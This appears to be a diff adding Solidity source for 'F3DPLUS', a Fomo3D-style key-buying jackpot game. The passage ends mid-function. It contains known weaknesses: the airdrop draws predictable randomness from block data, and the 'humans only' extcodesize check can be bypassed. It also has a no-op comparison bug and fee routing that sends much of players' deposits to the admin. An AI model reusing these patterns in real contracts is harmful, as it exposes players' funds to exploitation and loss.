( + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + + event onBuyAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethIn, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + + event onReLoadAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 P3DAmount, + uint256 genAmount + ); + + + event onAffiliatePayout + ( + uint256 indexed affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 indexed roundID, + uint256 indexed buyerID, + uint256 amount, + uint256 timeStamp + ); + + + event onPotSwapDeposit + ( + uint256 roundID, + uint256 amountAddedToPot + ); +} + + + + + + +contract modularShort is F3Devents {} + +contract F3DPLUS is modularShort { + using SafeMath for *; + using NameFilter for string; + using F3DKeysCalcShort for uint256; + + PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x0433c529Bb7FA84f18dfe49F0234c6815bD441FA); + + + + + + address private admin = msg.sender; + string constant public name = "f3dplus"; + string constant public symbol = "f3dplus"; + uint256 private rndExtra_ = 0; + uint256 private rndGap_ = 2 minutes; + uint256 constant private rndInit_ = 3 hours; + uint256 constant private rndInc_ = 30 seconds; + uint256 constant private rndMax_ = 3 hours; + + + + + uint256 public airDropPot_; + uint256 public airDropTracker_ = 0; + uint256 public rID_; + + + + mapping (address => uint256) public pIDxAddr_; + mapping (bytes32 => uint256) public pIDxName_; + mapping (uint256 => F3Ddatasets.Player) public plyr_; + mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; + mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; + + + + mapping (uint256 => F3Ddatasets.Round) public round_; + mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; + + + + mapping (uint256 => F3Ddatasets.TeamFee) public fees_; + mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; + + + + + constructor() + public + { + + + + + + + + + + fees_[0] = F3Ddatasets.TeamFee(30,0); + fees_[1] = F3Ddatasets.TeamFee(31,0); + fees_[2] = F3Ddatasets.TeamFee(50,0); + fees_[3] = F3Ddatasets.TeamFee(36,0); + + + + potSplit_[0] = F3Ddatasets.PotSplit(52,0); + potSplit_[1] = F3Ddatasets.PotSplit(25,0); + potSplit_[2] = F3Ddatasets.PotSplit(40,0); + potSplit_[3] = F3Ddatasets.PotSplit(34,0); + } + + + + + + modifier isActivated() { + require(activated_ == true, "its not ready yet. check ?eta in discord"); + _; + } + + + modifier isHuman() { + address _addr = msg.sender; + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_addr)} + require(_codeLength == 0, "sorry humans only"); + _; + } + + + modifier isWithinLimits(uint256 _eth) { + require(_eth >= 1000000000, "pocket lint: not a valid currency"); + require(_eth <= 100000000000000000000000, "no vitalik, no"); + _; + } + + + + + + + function() + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); + } + + + function buyXid(uint256 _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affCode, _team, _eventData_); + } + + function buyXaddr(address _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affID, _team, _eventData_); + } + + function buyXname(bytes32 _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affID, _team, _eventData_); + } + + + function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + F3Ddatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affCode, _team, _eth, _eventData_); + } + + function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + F3Ddatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + F3Ddatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + + function withdraw() + isActivated() + isHuman() + public + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _eth; + + + if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + F3Ddatasets.EventReturns memory _eventData_; + + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit F3Devents.onWithdrawAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eth, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + + + } else { + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + + + emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); + } + } + + + function registerNameXID(string _nameString, uint256 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXaddr(string _nameString, address _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXname(string _nameString, bytes32 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + + + + + function getBuyPrice() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); + else + return ( 67000000000000 ); + } + + + function getTimeLeft() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + if (_now < round_[_rID].end) + if (_now > round_[_rID].strt + rndGap_) + return( (round_[_rID].end).sub(_now) ); + else + return( (round_[_rID].strt + rndGap_).sub(_now) ); + else + return(0); + } + + + function getPlayerVaults(uint256 _pID) + public + view + returns(uint256 ,uint256, uint256) + { + + uint256 _rID = rID_; + + + if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + if (round_[_rID].plyr == _pID) + { + return + ( + (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + } + + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff + ); + } + } + + + function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) + private + view + returns(uint256) + { + return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); + } + + + function getCurrentRoundInfo() + public + view + returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + return + ( + round_[_rID].ico, + _rID, + round_[_rID].keys, + round_[_rID].end, + round_[_rID].strt, + round_[_rID].pot, + (round_[_rID].team + (round_[_rID].plyr * 10)), + plyr_[round_[_rID].plyr].addr, + plyr_[round_[_rID].plyr].name, + rndTmEth_[_rID][0], + rndTmEth_[_rID][1], + rndTmEth_[_rID][2], + rndTmEth_[_rID][3], + airDropTracker_ + (airDropPot_ * 1000) + ); + } + + + function getPlayerInfoByAddress(address _addr) + public + view + returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + if (_addr == address(0)) + { + _addr == msg.sender; + } + uint256 _pID = pIDxAddr_[_addr]; + + return + ( + _pID, + plyr_[_pID].name, + plyrRnds_[_pID][_rID].keys, + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff, + plyrRnds_[_pID][_rID].eth + ); + } + + + + + + + function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + core(_rID, _pID, msg.value, _affID, _team, _eventData_); + + + } else { + + if (_now > round_[_rID].end && round_[_rID].ended == false) + { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit F3Devents.onBuyAndDistribute + ( + msg.sender, + plyr_[_pID].name, + msg.value, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + } + + + plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); + } + } + + + function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) + private + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + + + plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); + + + core(_rID, _pID, _eth, _affID, _team, _eventData_); + + + } else if (_now > round_[_rID].end && round_[_rID].ended == false) { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit F3Devents.onReLoadAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + } + } + + + function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + { + + if (plyrRnds_[_pID][_rID].keys == 0) + _eventData_ = managePlayer(_pID, _eventData_); + + + if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) + { + uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); + uint256 _refund = _eth.sub(_availableLimit); + plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); + _eth = _availableLimit; + } + + + if (_eth > 1000000000) + { + + + uint256 _keys = (round_[_rID].eth).keysRec(_eth); + + + if (_keys >= 1000000000000000000) + { + updateTimer(_keys, _rID); + + + if (round_[_rID].plyr != _pID) + round_[_rID].plyr = _pID; + if (round_[_rID].team != _team) + round_[_rID].team = _team; + + + _eventData_.compressedData = _eventData_.compressedData + 100; + } + + + if (_eth >= 100000000000000000) + { + airDropTracker_++; + if (airdrop() == true) + { + + uint256 _prize; + if (_eth >= 10000000000000000000) + { + + _prize = ((airDropPot_).mul(75)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 300000000000000000000000000000000; + } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { + + _prize = ((airDropPot_).mul(50)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 200000000000000000000000000000000; + } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { + + _prize = ((airDropPot_).mul(25)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 300000000000000000000000000000000; + } + + _eventData_.compressedData += 10000000000000000000000000000000; + + _eventData_.compressedData += _prize * 1000000000000000000000000000000000; + + + airDropTracker_ = 0; + } + } + + + _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); + + + plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); + plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); + + + round_[_rID].keys = _keys.add(round_[_rID].keys); + round_[_rID].eth = _eth.add(round_[_rID].eth); + rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); + + + _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); + _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); + + + endTx(_pID, _team, _eth, _keys, _eventData_); + } + } + + + + + + function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) + private + view + returns(uint256) + { + return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); + } + + + function calcKeysReceived(uint256 _rID, uint256 _eth) + public + view + returns(uint256) + { + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].eth).keysRec(_eth) ); + else + return ( (_eth).keys() ); + } + + + function iWantXKeys(uint256 _keys) + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); + else + return ( (_keys).eth() ); + } + + + + + + function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if (pIDxAddr_[_addr] != _pID) + pIDxAddr_[_addr] = _pID; + if (pIDxName_[_name] != _pID) + pIDxName_[_name] = _pID; + if (plyr_[_pID].addr != _addr) + plyr_[_pID].addr = _addr; + if (plyr_[_pID].name != _name) + plyr_[_pID].name = _name; + if (plyr_[_pID].laff != _laff) + plyr_[_pID].laff = _laff; + if (plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function receivePlayerNameList(uint256 _pID, bytes32 _name) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if(plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function determinePID(F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + uint256 _pID = pIDxAddr_[msg.sender]; + + if (_pID == 0) + { + + _pID = PlayerBook.getPlayerID(msg.sender); + bytes32 _name = PlayerBook.getPlayerName(_pID); + uint256 _laff = PlayerBook.getPlayerLAff(_pID); + + + pIDxAddr_[msg.sender] = _pID; + plyr_[_pID].addr = msg.sender; + + if (_name != "") + { + pIDxName_[_name] = _pID; + plyr_[_pID].name = _name; + plyrNames_[_pID][_name] = true; + } + + if (_laff != 0 && _laff != _pID) + plyr_[_pID].laff = _laff; + + + _eventData_.compressedData = _eventData_.compressedData + 1; + } + return (_eventData_); + } + + + function verifyTeam(uint256 _team) + private + pure + returns (uint256) + { + if (_team < 0 || _team > 3) + return(2); + else + return(_team); + } + + + function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + + + if (plyr_[_pID].lrnd != 0) + updateGenVault(_pID, plyr_[_pID].lrnd); + + + plyr_[_pID].lrnd = rID_; + + + _eventData_.compressedData = _eventData_.compressedData + 10; + + return(_eventData_); + } + + + function endRound(F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + + uint256 _rID = rID_; + + + uint256 _winPID = round_[_rID].plyr; + uint256 _winTID = round_[_rID].team; + + + uint256 _pot = round_[_rID].pot; + + + + uint256 _win = (_pot.mul(48)) / 100; + uint256 _com = (_pot / 50); + uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; + uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; + uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); + + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); + if (_dust > 0) + { + _gen = _gen.sub(_dust); + _res = _res.add(_dust); + } + + + plyr_[_winPID].win = _win.add(plyr_[_winPID].win); + + + _com = _com.add(_p3d.sub(_p3d / 2)); + admin.transfer(_com); + + _res = _res.add(_p3d / 2); + + + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); + _eventData_.winnerAddr = plyr_[_winPID].addr; + _eventData_.winnerName = plyr_[_winPID].name; + _eventData_.amountWon = _win; + _eventData_.genAmount = _gen; + _eventData_.P3DAmount = _p3d; + _eventData_.newPot = _res; + + + rID_++; + _rID++; + round_[_rID].strt = now; + round_[_rID].end = now.add(rndInit_).add(rndGap_); + round_[_rID].pot = _res; + + return(_eventData_); + } + + + function updateGenVault(uint256 _pID, uint256 _rIDlast) + private + { + uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); + if (_earnings > 0) + { + + plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); + + plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); + } + } + + + function updateTimer(uint256 _keys, uint256 _rID) + private + { + + uint256 _now = now; + + + uint256 _newTime; + if (_now > round_[_rID].end && round_[_rID].plyr == 0) + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); + else + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); + + + if (_newTime < (rndMax_).add(_now)) + round_[_rID].end = _newTime; + else + round_[_rID].end = rndMax_.add(_now); + } + + + function airdrop() + private + view + returns(bool) + { + uint256 seed = uint256(keccak256(abi.encodePacked( + + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add + (block.number) + + ))); + if((seed - ((seed / 1000) * 1000)) < airDropTracker_) + return(true); + else + return(false); + } + + + function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + returns(F3Ddatasets.EventReturns) + { + + uint256 _p1 = _eth / 100; + uint256 _com = _eth / 5; + _com = _com.add(_p1); + + uint256 _p3d; + if (!address(admin).call.value(_com)()) + { + + + + + + + _p3d = _com; + _com = 0; + } + + + + uint256 _aff = _eth / 8; + + + + if (_affID != _pID && plyr_[_affID].name != '') { + plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); + emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); + } else { + _p3d = _p3d.add(_aff); + } + + + _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); + if (_p3d > 0) + { + + uint256 _potAmount = _p3d / 2; + + admin.transfer(_p3d.sub(_potAmount)); + + round_[_rID].pot = round_[_rID].pot.add(_potAmount); + + + _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); + } + + return(_eventData_); + } + + function potSwap() + external + payable + { + + uint256 _rID = rID_ + 1; + + round_[_rID].pot = round_[_rID].pot.add(msg.value); + emit F3Devents.onPotSwapDeposit(_rID, msg.value); + } + + + function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) + private + returns(F3Ddatasets.EventReturns) + { + + uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; + + + uint256 _air = (_eth / 100); + airDropPot_ = airDropPot_.add(_air); + + + _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); + + + uint256 _pot = _eth.sub(_gen); + + + + uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); + if (_dust > 0) + _gen = _gen.sub(_dust); + + + round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); + + + _eventData_.genAmount = _gen.add(_eventData_.genAmount); + _eventData_.potAmount = _pot; + + return(_eventData_); + } + + + function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) + private + returns(uint256) + { + + + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + + uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); + plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); + + + return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); + } + + + function withdrawEarnings(uint256 _pID) + private + returns(uint256) + { + + updateGenVault(_pID, plyr_[_pID].lrnd); + + + uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); + if (_earnings > 0) + { + plyr_[_pID].win = 0; + plyr_[_pID].gen = 0; + plyr_[_pID].aff = 0; + } + + return(_earnings); + } + + + function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) + private + { + _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); + + emit F3Devents.onEndTx + ( + _eventData_.compressedData, + _eventData_.compressedIDs, + plyr_[_pID].name, + msg.sender, + _eth, + _keys, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount, + _eventData_.potAmount, + airDropPot_ + ); + } + + + + + + bool public activated_ = false; + function activate() + public + { + + require(msg.sender == admin, "only admin can activate"); + + + + require(activated_ == false, "FOMO Short already activated"); + + + activated_ = true; + + + rID_ = 1; + round_[1].strt = now + rndExtra_ - rndGap_; + round_[1].end = now + rndInit_ + rndExtra_; + } +} + + + + + +library F3Ddatasets { + + + + + + + + + + + + + + + + + + + + struct EventReturns { + uint256 compressedData; + uint256 compressedIDs; + address winnerAddr; + bytes32 winnerName; + uint256 amountWon; + uint256 newPot; + uint256 P3DAmount; + uint256 genAmount; + uint256 potAmount; + } + struct Player { + address addr; + bytes32 name; + uint256 win; + uint256 gen; + uint256 aff; + uint256 lrnd; + uint256 laff; + } + struct PlayerRounds { + uint256 eth; + uint256 keys; + uint256 mask; + uint256 ico; + } + struct Round { + uint256 plyr; + uint256 team; + uint256 end; + bool ended; + uint256 strt; + uint256 keys; + uint256 eth; + uint256 pot; + uint256 mask; + uint256 ico; + uint256 icoGen; + uint256 icoAvg; + } + struct TeamFee { + uint256 gen; + uint256 p3d; + } + struct PotSplit { + uint256 gen; + uint256 p3d; + } +} + + + + + +library F3DKeysCalcShort { + using SafeMath for *; + + function keysRec(uint256 _curEth, uint256 _newEth) + internal + pure + returns (uint256) + { + return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); + } + + + function ethRec(uint256 _curKeys, uint256 _sellKeys) + internal + pure + returns (uint256) + { + return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); + } + + + function keys(uint256 _eth) + internal + pure + returns(uint256) + { + return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); + } + + + function eth(uint256 _keys) + internal + pure + returns(uint256) + { + return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); + } +} + + + + + + +interface PlayerBookInterface { + function getPlayerID(address _addr) external returns (uint256); + function getPlayerName(uint256 _pID) external view returns (bytes32); + function getPlayerLAff(uint256 _pID) external view returns (uint256); + function getPlayerAddr(uint256 _pID) external view returns (address); + function getNameFee() external view returns (uint256); + function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); +} + + + +library NameFilter { + + function nameFilter(string _input) + internal + pure + returns(bytes32) + { + bytes memory _temp = bytes(_input); + uint256 _length = _temp.length; + + + require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); + + require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); + + if (_temp[0] == 0x30) + { + require(_temp[1] != 0x78, "string cannot start with 0x"); + require(_temp[1] != 0x58, "string cannot start with 0X"); + } + + + bool _hasNonNumber; + + + for (uint256 i = 0; i < _length; i++) + { + + if (_temp[i] > 0x40 && _temp[i] < 0x5b) + { + + _temp[i] = byte(uint(_temp[i]) + 32); + + + if 